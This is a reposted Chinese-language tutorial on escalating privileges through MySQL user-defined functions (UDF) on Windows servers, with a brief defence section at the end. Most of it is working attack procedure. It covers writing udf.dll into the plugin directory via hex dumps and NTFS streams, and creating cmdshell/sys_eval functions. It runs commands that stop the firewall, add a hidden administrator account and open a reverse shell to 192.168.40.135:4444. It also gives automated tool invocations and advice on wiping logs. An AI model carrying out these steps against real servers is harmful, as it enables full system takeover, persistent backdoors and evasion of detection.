mysql中UDF提權


一、UDF函數簡介

1.UDF介紹

UDF(user-defined function)是MySQL的一個拓展接口,也可稱之為用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像本機函數如ABS()或SOUNDEX()一樣方便。UDF官方介紹以及其函數定義請參考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常見的UDF提權外,其實Udf還有更多更廣泛的應用,例如https://github.com/mysqludf/repositories,就提供了非常多的應用:

lib_mysqludf_fPROJ4:一組擴展的科學函數,將地理經度和緯度坐標轉換為笛卡爾坐標,反之亦然。

lib_mysqludf_json:用於將關系數據映射到JSON格式的函數的UDF庫。

lib_mysqludf_log:用於將調試信息寫入日志文件的UDF庫。

lib_mysqludf_preg:直接在MySQL中使用PCRE正則表達式

lib_mysqludf_stat:用於統計分析的UDF庫。

lib_mysqludf_str:一個帶有MySQL附加字符串函數的UDF庫

lib_mysqludf_sys:具有與操作系統交互的功能的UDF庫。這些函數允許您與MySQL運行的執行環境進行交互。

lib_mysqludf_xml:一個UDF庫,用於直接從MySQL創建XML輸出。

有三種方法向MySQL添加新函數。

(1)可以通過用戶定義的函數(UDF)接口添加函數。用戶定義的函數被編譯為庫文件,然后使用CREATE FUNCTION和DROP FUNCTION語句動態添加到服務器或從服務器中刪除。

(2)可以將函數添加為本機(內置)MySQL函數。本機函數被編譯到 mysqld服務器並永久可用。

(3)添加函數的另一種方法是創建存儲的函數。這些是使用SQL語句編寫的,而不是通過編譯目標代碼。

二、Windows下UDF提權的條件和方法

Windows下UDF提權對於Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。

1. UDF提權條件

(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。

(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備root賬號所具備的權限的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的權限。

2.提權方法

(1)獲取數據庫版本、數據位置以及插件位置等信息

  1. select version();//獲取數據庫版本 
  2. select user();//獲取數據庫用戶 
  3. select @@basedir ;//獲取安裝目錄 
  4. show variables like '%plugins%'; //尋找mysql安裝路徑 

(2)導出路徑

  1. C:\Winnt\udf.dll Windows 2000 
  2. C:\Windows\udf.dll Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll) 

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。

在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:

  1. select @@basedir; //查找到mysql的目錄 
  2.  
  3. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 
  4.  
  5. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 

執行成功以后就會plugin目錄,然后再進行導出udf.dll即可。

(3)創建cmdshell 函數,該函數叫什么名字在后續中則使用該函數進行查詢:

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

(4)執行命令:

  1. select sys_eval(‘whoami’); 

一般情況下不會出現創建不成功哦。

連不上3389可以先停止windows防火牆和篩選

  1. select sys_eval(‘net stop policyagent’); 
  2. select sys_eval(‘net stop sharedaccess’); 

udf.dll下常見函數:

cmdshell 執行cmd;

downloader 下載者,到網上下載指定文件並保存到指定目錄;

open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread 讀注冊表;

regwrite 寫注冊表;

shut 關機,注銷,重啟;

about 說明與幫助函數;

具體用戶示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

(5)清除痕跡

  1. drop function cmdshell;// 將函數刪除 

刪除udf.dll文件以及其它相關入侵文件及日志。

(6)常見錯誤

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 
  2.  
  3. SHOW VARIABLES LIKE "secure_file_priv" 

在my.ini 或者mysql.cnf 文件中注銷 (使用#號) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將my.ini中的skip-grant-tables選項去掉。

三、一個提權實例

1.設置Mysql提權腳本文件

將Mysql提權腳本文件上傳到服務器上,運行后,需要對IP地址、UID、passwod、db進行配置,如圖1所示,IP地址一般可以設置為localhost、127.0.0.1以及真實IP地址,uid默認為root,其它具有root用戶權限的用戶名稱也可以,pwd為具有root權限用戶的密碼,db默認選擇mysql,單擊提交查詢內容進行連接測試。

實例解析:MySQL數據庫擴展接口UDF提權

設置Mysql提交腳本文件

2.進行連接測試

連接成功后,會給出相應的提示信息,如圖2所示,給出用戶,數據庫,數據目錄(datadir),基本目錄(basedir),版本,插件路徑,mysql函數等信息。

實例解析:MySQL數據庫擴展接口UDF提權

連接測試

3.創建“shell”函數

單擊“Dump UDF” 將UDF.DLL文件導出到默認的插件目錄下,然后再運行“Create Function”將創建“shell”函數。如圖3所示,如果前面已經創建過shell函數,則會提示系統中已經存在“shell”函數 。

實例解析:MySQL數據庫擴展接口UDF提權

創建“shell”函數

4.查看用戶

在查詢窗口中輸入“select shell('cmd','net user')”查看系統所有的用戶,如圖4所示,可以正常查看系統的所有用戶信息。

實例解析:MySQL數據庫擴展接口UDF提權

查看用戶

5.創建具有管理員權限的用戶

分別在查詢中輸入腳本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”並執行該查詢命令,如果執行成功,則表示在系統中添加“temp”用戶,密碼為“temp123456”,同時將該用戶添加到管理員組中,使其具備管理員權限,執行成功后如圖5,圖6所示。

實例解析:MySQL數據庫擴展接口UDF提權

添加temp用戶

實例解析:MySQL數據庫擴展接口UDF提權

將用戶temp添加到管理員組

6.提權成功

在SQL查詢中輸入“select shell('cmd','net localgroup administrators')”命令查看剛才添加到用戶是否真的添加成功,如圖7所示,查詢結果表明已經將temp用戶添加到管理員組中。

實例解析:MySQL數據庫擴展接口UDF提權

查看管理員用戶

目前對於一些網站來說,一般都會提供遠程終端服務,只要用戶添加成功,則可以直接登錄該服務器,如圖8所示,輸入用戶名和密碼,成功進入該服務器,至此通過mysql的root用戶成功提權。

圖8成功進入服務器

四、其它提權工具

v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

1.自動導出你的backdoor和mof文件

2.自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

3.導出LPK.dll文件,劫持系統目錄提權

4.寫啟動項提權

UdF自動提權:

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK劫持提權:

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動項提權:

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權,如圖9所示。

  1. LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 

實例解析:MySQL數據庫擴展接口UDF提權

查看mysql數據庫配置文件內容

五、UDF提權總結與防范

目前安裝的Mysql數據庫版本基本是高於5.1版本,通過Mysql查詢可以導出udf.dll但由於mysql中my.ini文件的配置,有可能會導致無法創建自定義函數。這時候就需要修改my.ini進行重啟。

1.提權總結

(1)有webshell的提權

如果獲取了webshell則比較簡單,目前有很多Mysql提權的PHP腳本,可以比較快速的進行提權,在此不贅述。

(2)無webshell的提權

  1. select version(); //獲取mysql版本 
  2.  
  3. select @@basedir; //查找到mysql的目錄 
  4.  
  5. SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置 

通過查詢將udf.dll轉成代碼插入數據庫,然后導出

  1. use mysql; 
  2.  
  3. set @a=concat('',0x代碼); 
  4.  
  5. create table Ghost(data LONGBLOB); 
  6.  
  7. insert into Ghost values("");update Ghost set data = @a; 
  8.  
  9. 代碼為select hex(load_file('c:/udf.dll'))中的內容 
  10.  
  11. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //導出ufd.dll 
  12.  
  13. CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//創建函數 
  14.  
  15. select backshell("192.168.40.135",4444); 

(3)使用Python_FuckMySQL工具進行自動提權

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 
  2.  
  3. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 
  4.  
  5. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st 

2.安全防范方法

(1)盡量避免提供對外鏈接,通過mysql中的user表進行查看,禁用“%”。

(2)設置復雜的Root賬號密碼。

(3)對my.ini設置只讀屬性,設置plugin目錄為只讀目錄。

【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM